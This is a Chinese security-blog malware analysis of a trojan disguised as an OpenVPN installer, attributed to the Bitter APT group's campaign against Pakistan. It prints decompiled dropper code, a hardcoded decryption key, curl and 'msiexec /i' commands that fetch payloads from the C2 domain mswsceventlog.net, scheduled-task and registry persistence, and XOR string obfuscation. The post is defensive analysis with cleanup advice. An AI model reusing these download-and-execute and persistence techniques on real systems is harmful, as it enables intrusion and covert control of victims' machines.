印“蔓灵花”攻击巴基斯坦活动中使用的TelecomVPN病毒分析

百家 作者:Chamd5安全团队 2021-11-30 15:05:24

<!-- https://mp.weixin.qq.com/s/QDI912ogVKyyKFYdKvBGdQ 疑似APT-C-55(Kimsuky)组织利用商业软件Web Browser Password Viewer进行攻击 threatbook有样本,易于分析

https://www.anquanke.com/post/id/259453 相煎何急,印APT组织蔓灵花针对巴基斯坦政府机构展开定向攻击  样本均存在

https://www.anquanke.com/post/id/258167 涉俄APT组织“圣贤熊”针对军队、政府展开经济犯罪和间谍攻击 有相关样本

https://paper.seebug.org/1752/ 深入研究 Snake Keylogger 的新变种恶意软件 xlsm病毒,threatbook有样本

https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/ Iranian targeting of IT sector on the rise  有样本

https://explore.group-ib.com/redcurl-english-reports/report-redcurl2-eng 威胁情报 -->

概述

在近期的“蔓灵花”攻击巴基斯坦活动中,攻击者仿冒OpenVPN安装包,制作了一款“TelecomVPN”或“PTAOpenVPN”。

攻击者将恶意软件和OpenVPN安装包打包在一起,当用户执行OpenVPN后会先解密shell.exe和OpenVPN,再分别执行OpenVPN安装例程和shell.exe。

初步分析

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  //。。。
  RegisterClassExW((const WNDCLASSEXW *)&v21);
  ::hInstance = hInstance;
  v4 = CreateWindowExW(0, ClassName, WindowName, 0xCF0000u, 0x8000000000x80000000000, hInstance, 0);
  v5 = v4;
  if ( v4 )
  {
   //...
    v13 = CreateFileW(v19, 1u1u03u0x80u, 0);
    if ( v13 != (HANDLE)-1 )
    {
      SetFilePointer(v13, 3532800);
      v6 = LocalAlloc(0x40u, 0x3000u);
      ReadFile(v13, v6, 0x3000u, &NumberOfBytesRead, 0);
    }
    v15 = CreateFileW(L"C:\\Users\\Public\\Music\\power"2u2u02u0x80u, 0);
    if ( v15 != (HANDLE)-1 )
    {
      WriteFile(v15, v6, 0x3000u, &NumberOfBytesWritten, 0);
      CloseHandle(v15);
    }
    sub_4010E0("C:\\Users\\Public\\Music\\power""C:\\Users\\Public\\Music\\Shell.exe", v14, 0);
    Sleep(0x1388u);
    sub_4010E0(Filename, "C:\\Users\\Public\\Music\\msdtm.exe", v16, 47616);
    Sleep(0x1388u);
    ShellExecuteW(0L"RUNAS"L"C:\\Users\\Public\\Music\\msdtm.exe"001);
    //...
    CreateProcessW(
      L"C:\\Users\\Public\\Music\\Shell.exe",
      //...
    );
    CloseHandle(ProcessInformation.hProcess);
    CloseHandle(ProcessInformation.hThread);
    LocalFree(v6);
  }
  return 0;
}

主函数可以看到,首先在Music文件夹下创建power文件,然后写入数据。接着对文件本身和power调用了sub_4010e0

向上看可以得到,power文件的内容主要来自于读取文件本身

文件偏移在35328处

而OpenVPN安装程序放在了0xba00偏移处,紧挨着shell.exe

sub_4010e0分析


int __usercall sub_4010E0@<eax>(char *FileName@<ecx>, char *a2@<edx>, int a3, int Offset)
{
  //...
  {
    if ( Offset )
      fseek(Stream, Offset, 0);
    if ( fopen_s(&v14, a2, "wb") )
    {
      printf("Error opening Ciphertext file!\n");
    }
    else
    {
      if ( !CryptAcquireContextW(&phProv, 0L"Microsoft Enhanced Cryptographic Provider v1.0"1u0) )
      {
        //...
        CryptAcquireContextW(&phProv, 0L"Microsoft Enhanced Cryptographic Provider v1.0"1u8u);
      }
      if ( CryptCreateHash(phProv, CALG_MD5, 00, &phHash) )
      {
        if ( CryptHashData(phHash, "Y8*()12T"8u0) )
        {
          if ( CryptDeriveKey(phProv, 0x6801u, phHash, 0x800000u, &phKey) )
          {
            CryptDestroyHash(phHash);
            phHash = 0;
            v5 = malloc(0x3E8u);
            if ( v5 )
            {
              while ( 1 )
              {
                pdwDataLen = fread(v5, 1u0x3E8u, Stream);
                if ( ferror(Stream) )
                  break;
                v10 = feof(Stream);
                if ( !CryptEncrypt(phKey, 0, v10, 0, (BYTE *)v5, &pdwDataLen, 0x3E8u) )
                {
                  printf("bytes required:%d\n", pdwDataLen);
                  v12 = GetLastError();
                  printf("Error %x during CryptEncrypt!\n", v12);
                  goto LABEL_26;
                }
                fwrite(v5, 1u, pdwDataLen, v14);
                //...
    }
  }
//...
  return v11;
}

可以看到,该函数调用了Windows API进行解密。密钥是Y8*()12T的MD5。

shell.exe分析

开头初始化了Com库

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  if ( CoInitializeEx(06u) >= 0 )
  {
    sub_401000();
    CoUninitialize();
  }
  Sleep(0x2710u);
  return 0;
}

sub_401000分析

lpString2[0] = L"pku2u.exe";
        lpString2[1] = L"drvinst.exe";
        lpString2[2] = L"ndadmin.exe";
        lpString2[3] = L"fveapi.exe";
        lpString2[4] = L"cdp.exe";
        lpString2[5] = L"mfcore.exe";
        lpString2[6] = L"rdpsign.exe";
        lpString2[7] = L"tspubwmi.exe";
        lpString2[8] = L"mfps.exe";
        lpString2[9] = L"peerdist";
        lpString2[10] = L"lsapip.exe";
        lpString2[11] = L"glu32.exe";
        lpString2[12] = L"fwbase.exe";
        lpString2[13] = L"esentprf.exe";
        lpString2[14] = L"dwrite.exe";
        lpString2[15] = L"cscmig.exe";
        lpString2[16] = L"authext.exe";
        lpString2[17] = L"browcli.exe";
        lpString2[18] = L"imagehlp.exe";
        lpString2[19] = L"mfaudiocnv.exe";
        ExpandEnvironmentStringsW(L"%computername%", Dst, 0x64u);
        if ( PathFileExistsW(L"C:\\Users\\Public\\Music\\p2p") )
        {
          for ( i = 0; i < 20; ++i )
          {
            lstrcpyW(String1, L"C:\\Users\\Public\\Music\\");
            lstrcatW(String1, lpString2[i]);
            if ( !PathFileExistsW(String1) )
              break;
            if ( DeleteFileW(String1) )
            {
              Sleep(0x1388u);
              break;
            }
          }
          lstrcatW(psz, String1);
          lstrcatW(psz, L" -O https://mswsceventlog.net/ot.php/?ot=");
          lstrcatW(psz, Dst);
          v5 = SysAllocString;
          ppv = SysAllocString(L"curl");
          v6 = SysAllocString(psz);
          *((_DWORD *)ppvOut + 2) = v6;
          RemoveDirectoryW(L"C:\\Users\\Public\\Music\\p2p");
        }
        else
        {
          ppv = SysAllocString(L"msiexec");
          lstrcpyW(v28, L"/i http://mswsceventlog.net/");
          lstrcatW(v28, Dst);
          lstrcatW(v28, L".msi /q");
          v5 = SysAllocString;
          v3->lVal = (LONG)SysAllocString(v28);
          CreateDirectoryW(L"C:\\Users\\Public\\Music\\p2p"0);
        }

如果老版本木马存在,就删除那个文件并下载新木马后再删除Music下的p2p文件夹;否则下载新木马并创建p2p文件夹,还会使用msiexec执行新木马。值得注意的是,如果p2p目录不存在,会根据计算机名称下载木马,说明这是一次指定目标的攻击。

v9 = v5(L"/create /sc MINUTE /mo 15 /TN Chsme /TR C:\\Users\\Public\\Music\\Shell.exe");
        *((_DWORD *)ppvOut + 2) = v9;
        ppv = v5(L"C:\\Windows\\System32\\schtasks.exe");
        if ( !PathFileExistsW(L"C:\\Windows\\SysNative\\Tasks\\Chsme") )
          v1 = ((int (__stdcall *)(IUnknown *, LPVOID, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))punk->lpVtbl[10].AddRef)(
                //...
        Sleep(0x2BF20u);
        ppvOut = v5(String1); // start new

为自己创建计划任务,并且判断Tasks下Chsme是否存在。如果不存在就执行一个新任务。根据上面交叉引用和for循环内容,此处String1是那些字符串中第一个不存在的文件完整路径。

这里可能下载诸多木马,挑选其中一个pku2u.exe分析

pku2u.exe分析

主函数中大量使用了sub_4025b0

signed int __usercall sub_4025B0@<eax>(const char *a1@<edi>, const char *a2)
{
 //...
  v2 = strlen(a1);
  v3 = strlen(a2);
  result = 0;
  for ( i = 0; result < v2; ++i )
  {
    if ( i == v3 )
      i = 0;
    a1[result++] ^= a2[i];
  }
  return result;
}

可以发现这个函数主要用于解密字符串

主函数中首先拼接了一系列字符串,这些字符串包括域名等信息

sub_4025B0(pNodeName, "45"); // 解密得到 meeting.mswsceventlog.net
  GetModuleFileNameA(0, Str, 0x21Cu);
  sub_4025B0(SubStr, "34"); // update
  sub_4025B0(ValueName, "34"); // updates
  sub_4019E0();
  sub_4025B0(byte_405780, aLlll);
  *(_DWORD *)&byte_406A80[strlen(byte_406A80)] = 'goL';
  sub_4025B0(aTdAVji, "728"); // CVEWsDaxqi.php?logs=
  strcat(byte_406A80, "s/");
  *(_DWORD *)&byte_406A80[strlen(byte_406A80)] = 'pwX';
  strcat(byte_406A80, "ll");
  strcat(byte_406A80, aTdAVji);

遍历注册表中的MsMp和avp字符串

if ( sub_401810("MsMp") )
  {
    byte_4062EA = 1;
    byte_4062E9 = 1;
    goto LABEL_23;
  }
  *(_WORD *)&aAv[strlen("av")] = 'p';
  if ( sub_401810("av") )
  {
    byte_4062E9 = 1;
LABEL_23:
    strcpy(pszPath, "`{sgctaqi~]VA[F\\RAoc\\]PZDGipAGAQ[GbPAG\\\\ZiaA[");
    phkResult = 0;
    memset(&pszPath[46], 00xCCu);
    sub_4025B0(pszPath, "345");
    if ( RegQueryValueExA(0, ValueName, 0000)
      && !RegOpenKeyExA(HKEY_CURRENT_USER, pszPath, 00xF003Fu, &phkResult)
      && byte_4062EA )
    {
      RegSetValueExA(phkResult, ValueName, 01u, (const BYTE *)NewFileName, strlen(NewFileName));
      *((_BYTE *)&dword_406730 + strlen((const char *)&dword_406730)) = 82;
    }
    RegCloseKey(phkResult);
    goto LABEL_28;
  }

如果有的话则会注册开机自动启动

最后还调用了这个函数

int sub_4026B0()
{
  //...

  v6[12] = v6;
  std::string::string(v6, "KIX$3lswxizirx2tltCmhA"); // 解密得到 GET /hostevent.php?id=
  sub_402600(v7, v6[0], v6[1], v6[2], v6[3], v6[4], v6[5]);
  v12 = 0;
  std::string::operator+=(v7, Buffer);
  std::string::operator+=(v7, " HTTP/1.1\r\nHost:");
  std::string::operator+=(v7, pNodeName); // 解密得到 meeting.mswsceventlog.net
  std::string::operator+=(v7, "\r\nConnection: close\r\n\r\n");
  *(_DWORD *)&name.sa_data[2] = inet_addr(cp);
  *(_WORD *)name.sa_data = htons(0x50u);
  name.sa_family = 2;
  v0 = socket(216);
  if ( !connect(v0, &name, 16) )
  {
    v1 = buf[0];
    if ( buf[5] < (char *)0x10 )
      v1 = (const char *)buf;
    send(v0, v1, (int)buf[4], 0);
    v2 = 0;
    *(_WORD *)v10 = 0;
    memset(v11, 0sizeof(v11));
    v3 = recv(v0, v10, 40960);
    v4 = v3 < 0;
    if ( !v3 )
    {
LABEL_7:
      closesocket(v0);
      v12 = -1;
      return std::string::~string(v7);
    }
    while ( !v4 )
    {
      v2 += v3;
      v3 = recv(v0, &v10[v2], 40960);
      v4 = v3 < 0;
      if ( !v3 )
        goto LABEL_7;
    }
    *(_WORD *)v10 = 0;
  }
  closesocket(v0);
  v12 = -1;
  std::string::~string(v7);
  return 0;
}

即定期通信

之后调用了这个函数


void sub_4022E0()
{
  char v0[8190]; // [esp+Ah] [ebp-200Ah] BYREF

  Sleep(0x3E8u);
  byte_4062EB = 0;
  memset(&byte_4090A0, 00x2000u);
  if ( dword_40650C >= 5 )
  {
    sub_401E00(&dword_406730);
    sub_4023C0();
    if ( byte_4062EB )
    {
      memset(v0, 0sizeof(v0));
      sub_401E00(&byte_406CA0);
    }
  }
  else
  {
    sub_401E00(&dword_406510);
    ++dword_40650C;
  }
  Sleep(0x3A98u);
}

即通信次数大于5才会执行指定动作

char sub_4023C0()
{
//...

  v0 = strstr(&byte_4090A0, &byte_406CA0);
  if ( v0 )
  {
    v1 = byte_4090A0;
    for ( i = 0; v1; v1 = byte_4090A1[i++] )
    {
      if ( v1 == 34 )
        break;
    }
    v3 = byte_4090A1[i];
    v4 = 0;
    if ( v3 )
    {
      v5 = &byte_4090A1[i];
      do
      {
        if ( v3 == 34 )
          break;
        ++v5;
        byte_406DA0[v4] = v3;
        v3 = *v5;
        ++v4;
      }
      while ( *v5 );
    }
    byte_406DA0[v4] = 0;
    LOBYTE(v0) = sub_401810(byte_406DA0);
    if ( (_BYTE)v0 )
    {
      memset(Destination, 0strlen(Destination));
      *(_DWORD *)Destination = &unk_474E52;
      strcat_s(Destination, 0xFAu, aLlll);
      strcat_s(Destination, 0xFAu, byte_406DA0);
      LOBYTE(v0) = strcat_s(Destination, 0xFAu, aLlll);
      byte_4062EB = 1;
    }
    else if ( v4 )
    {
      v8[0] = 'icww';
      v8[1] = 'eGGJ';
      v8[2] = 1917009;
      memset(&v8[3], 00xEEu);
      sub_4025B0((const char *)v8, "124");
      sub_401E00((int)byte_406DA0, (int)v8, (char *)&dword_40B0A0, (int)&unk_40420F);
      memset(v8, 00xFAu);
      v6 = 0;
      while ( *(int *)((char *)&dword_40B0A0 + v6) != *(_DWORD *)aLlll )
      {
        if ( *(int *)((char *)&dword_40B0A0 + v6 + 1) == *(_DWORD *)aLlll )
        {
          ++v6;
          break;
        }
        if ( *(int *)((char *)&dword_40B0A0 + v6 + 2) == *(_DWORD *)aLlll )
        {
          v6 += 2;
          break;
        }
        if ( *(int *)((char *)&dword_40B0A0 + v6 + 3) == *(_DWORD *)aLlll )
        {
          v6 += 3;
          break;
        }
        v6 += 4;
        if ( v6 > 4095 )
          break;
      }
      LOBYTE(v0) = sub_401FB0(v6 + 4);
    }
  }
  return (char)v0;
}

通过llll判断是否有指定载荷,如果有就创建新文件夹并执行后续病毒。

防范建议

  • 从官方渠道下载软件
  • 及时安装、更新杀软

清除建议

  • 删除对应定时任务
  • 清理注册表
  • 删除对应路径下的病毒文件
  • 重启系统

参考资料

  1. 相煎何急,印APT组织蔓灵花针对巴基斯坦政府机构展开定向攻击
  2. ReadFile--microsoft docs
  3. CryptHashData--microsoft docs
  4. CoInitializeEx--microsoft docs

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析+AI 长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接